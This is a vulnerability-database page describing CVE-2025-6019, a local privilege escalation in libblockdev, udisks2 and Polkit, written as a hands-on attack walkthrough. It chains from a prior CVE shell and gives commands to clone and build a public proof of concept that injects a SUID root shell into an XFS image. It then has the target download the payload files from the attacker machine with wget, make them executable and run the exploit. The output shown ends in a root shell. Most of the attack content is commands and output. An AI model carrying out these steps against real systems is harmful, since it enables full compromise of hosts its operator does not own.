# CVE-2025-6019 - libblockdev / udisks2 / Polkit

- **URL:** https://hackindex.io/vulnerabilities/CVE-2025-6019
- **CVE:** CVE-2025-6019
- **CVSS score:** 7
- **Type:** CWE-250
- **Complexity:** HIGH
- **Privileges:** LOW
- **Published:** 2026-02-22
- **Updated:** 2026-02-23

CVE-2025-6019 is a local privilege-escalation flaw in **libblockdev interacting with udisks (udisks2) and Polkit** that can let an **“allow_active”** user escalate all the way to **root** because of how mounts can be performed without the expected safety restrictions, leading to **full host compromise**.

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

#### Local Privilege Escalation

**[MichaelVenturella/CVE-2025-6018-6019-PoC](https://github.com/MichaelVenturella/CVE-2025-6018-6019-PoC)** - A Proof of Concept for chaining CVE-2025-6018 and CVE-2025-6019

For this exploit to work you need to have the shell from [https://hackindex.io/vulnerabilities/CVE-2025-6018](https://hackindex.io/vulnerabilities/CVE-2025-6018). You can check if that succeeded with

```bash
loginctl show-session $(loginctl | awk 'NR==2{print $1}')
# Bus n/a: changing state UNSET → OPENING
# sd-bus: starting bus by connecting to /run/dbus/system_bus_socket...
# Bus n/a: changing state OPENING → AUTHENTICATING
# Bus n/a: changing state AUTHENTICATING → HELLO
# Sent message type=method_call sender=n/a destination=org.freedesktop.DBus path=/org/freedesktop/DBus interface=org.freedesktop.DBus member=Hello cookie=1 reply_cookie=0 signature=n/a error-name=n/a error-message=n/a
# Got message type=method_return sender=org.freedesktop.DBus destination=:1.90 path=n/a interface=n/a member=n/a  cookie=1 reply_cookie=1 signature=s error-name=n/a error-message=n/a
# Bus n/a: changing state HELLO → RUNNING
# Sent message type=method_call sender=n/a destination=org.freedesktop.login1 path=/org/freedesktop/login1 interface=org.freedesktop.login1.Manager member=ListSessions cookie=2 reply_cookie=0 signature=n/a error-name=n/a error-message=n/a
# Got message type=method_return sender=:1.1 destination=:1.90 path=n/a interface=n/a member=n/a  cookie=769 reply_cookie=2 signature=a(susso) error-name=n/a error-message=n/a
# Sent message type=method_call sender=n/a destination=org.freedesktop.login1 path=/org/freedesktop/login1/session/_316 interface=org.freedesktop.DBus.Properties member=GetAll cookie=3 reply_cookie=0 signature=s error-name=n/a error-message=n/a
# Got message type=method_return sender=:1.1 destination=:1.90 path=n/a interface=n/a member=n/a  cookie=770 reply_cookie=3 signature=a{sv} error-name=n/a error-message=n/a
# Sent message type=method_call sender=n/a destination=org.freedesktop.login1 path=/org/freedesktop/login1/session/_32 interface=org.freedesktop.DBus.Properties member=GetAll cookie=4 reply_cookie=0 signature=s error-name=n/a error-message=n/a
# Got message type=method_return sender=:1.1 destination=:1.90 path=n/a interface=n/a member=n/a  cookie=771 reply_cookie=4 signature=a{sv} error-name=n/a error-message=n/a
# Bus n/a: changing state RUNNING → CLOSED
# Bus n/a: changing state UNSET → OPENING
# sd-bus: starting bus by connecting to /run/dbus/system_bus_socket...
# Bus n/a: changing state OPENING → AUTHENTICATING
# Successfully forked off '(pager)' as PID 11191.
# Skipping PR_SET_MM, as we don't have privileges.
# Found cgroup2 on /sys/fs/cgroup/, full unified hierarchy
# Failed to execute 'pager', will try 'less' next: No such file or directory
# Pager executable is "less", options "FRSXMK", quit_on_interrupt: yes
# Bus n/a: changing state AUTHENTICATING → HELLO
# Sent message type=method_call sender=n/a destination=org.freedesktop.DBus path=>
# Got message type=method_return sender=org.freedesktop.DBus destination=:1.91 pa>
# Bus n/a: changing state HELLO → RUNNING
# Sent message type=method_call sender=n/a destination=org.freedesktop.login1 pat>
# Got message type=method_return sender=:1.1 destination=:1.91 path=n/a interface>
# Sent message type=method_call sender=n/a destination=org.freedesktop.login1 pat>
# Got message type=method_return sender=:1.1 destination=:1.91 path=n/a interface>
# Bus n/a: changing state RUNNING → CLOSED
# Id=16
# User=1002
# Name=$SSH_USER
# Timestamp=Sat 2026-02-14 20:00:38 EET
# TimestampMonotonic=771749991
# VTNr=1
# Seat=seat0
# TTY=pts/1
# Remote=yes
# RemoteHost=$TARGET_IP
# Service=sshd
# Scope=session-16.scope
# Leader=11015
```

Check for

```
Seat=seat0
```

When this is found in the response you can continue with **CVE-2025-6019.**

First on your attacker machine build the exploit:

```bash
git clone https://github.com/MichaelVenturella/CVE-2025-6018-6019-PoC.git
cd CVE-2025-6018-6019-PoC

sh build_poc.sh 
# [*] Building CVE-2025-6018/6019 PoC...
# [+] Compiled static rootbash.
# [+] Created XFS image.
# [+] Injected SUID shell into image.
# [+] Compiled static catcher.
#
# [SUCCESS] Upload 'exploit.img' and 'catcher' to the target /tmp folder.
```

> [!WARNING]
> If you see "[-] mkfs.xfs missing. Install with: apt install xfsprogs" even though xfsprogs is already installed, remove the "if ! command -v mkfs.xfs &> /dev/null; then" check from build_poc.sh.

Put all the files to the target and give them the right permissions like:

```bash
wget http://$LPORT:$LPORT/exploit.img
wget http://$LPORT:$LPORT/catcher
wget http://$LPORT:$LPORT/exploit.sh
chmod +x exploit.sh
chmod +x catcher
```

After everything is setup on the target machine execute:

```bash
./exploit.sh
# Bus n/a: changing state UNSET → OPENING
# sd-bus: starting bus by connecting to /run/dbus/system_bus_socket...
# Bus n/a: changing state OPENING → AUTHENTICATING
# Bus n/a: changing state AUTHENTICATING → HELLO
# Sent message type=method_call sender=n/a destination=org.freedesktop.DBus path=/org/freedesktop/DBus interface=org.freedesktop.DBus member=Hello cookie=1 reply_cookie=0 signature=n/a error-name=n/a error-message=n/a
# Got message type=method_return sender=org.freedesktop.DBus destination=:1.132 path=n/a interface=n/a member=n/a  cookie=1 reply_cookie=1 signature=s error-name=n/a error-message=n/a
# Bus n/a: changing state HELLO → RUNNING
# Sent message type=method_call sender=n/a destination=org.freedesktop.login1 path=/org/freedesktop/login1 interface=org.freedesktop.login1.Manager member=GetSession cookie=2 reply_cookie=0 signature=s error-name=n/a error-message=n/a
# Got message type=method_return sender=:1.1 destination=:1.132 path=n/a interface=n/a member=n/a  cookie=1237 reply_cookie=2 signature=o error-name=n/a error-message=n/a
# Sent message type=method_call sender=n/a destination=org.freedesktop.login1 path=/org/freedesktop/login1/session/_324 interface=org.freedesktop.DBus.Properties member=GetAll cookie=3 reply_cookie=0 signature=s error-name=n/a error-message=n/a
# Got message type=method_return sender=:1.1 destination=:1.132 path=n/a interface=n/a member=n/a  cookie=1238 reply_cookie=3 signature=a{sv} error-name=n/a error-message=n/a
# Bus n/a: changing state RUNNING → CLOSED
# [+] Session is Active. Polkit bypass enabled.
# [*] Starting Background Trigger (Wait 2s)...
# [*] Starting Foreground Catcher...
# [*] HOLD TIGHT. ROOT SHELL INCOMING.
# [*] Sniper started. Waiting for ANY loop mount...
# exploit$ whoami
# [*] (BG) Setting up loop device...
# [*] (BG) Triggering Resize on /org/freedesktop/UDisks2/block_devices/loop0...
#
# [!!!] HIT! Mounted at: /tmp/blockdev.RBR2K3
# hostname:~ # whoami
# root
```